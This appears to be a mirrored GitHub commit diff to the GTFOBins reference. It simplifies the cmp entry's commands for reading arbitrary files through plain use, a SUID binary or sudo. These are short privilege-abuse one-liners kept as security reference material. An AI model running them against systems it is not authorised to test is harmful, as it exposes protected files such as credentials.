mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Simplify cmp
This commit is contained in:
parent
a9313397a0
commit
b1a33432e9
@ -1,21 +1,16 @@
|
|||||||
---
|
---
|
||||||
|
description: Dump the bytes of the input file that are different from the NUL byte in a tabular format, hence this may not be suitable to read arbitrary binary files.
|
||||||
functions:
|
functions:
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file-to-read
|
LFILE=file_to_read
|
||||||
TEMP=$(mktemp)
|
cmp $LFILE /dev/zero -b -l
|
||||||
printf 'A%.0s' {1..999} > $TEMP
|
|
||||||
cmp $LFILE $TEMP -b -n 999 -l
|
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file-to-read
|
LFILE=file_to_read
|
||||||
TEMP=$(mktemp)
|
./cmp $LFILE /dev/zero -b -l
|
||||||
printf 'a%.0s' {1..999} > $TEMP
|
|
||||||
cmp $LFILE $TEMP -b -n 999 -l
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file-to-read
|
LFILE=file_to_read
|
||||||
TEMP=$(mktemp)
|
sudo cmp $LFILE /dev/zero -b -l
|
||||||
printf 'a%.0s' {1..999} > $TEMP
|
|
||||||
sudo cmp $LFILE $TEMP -b -n 999 -l
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user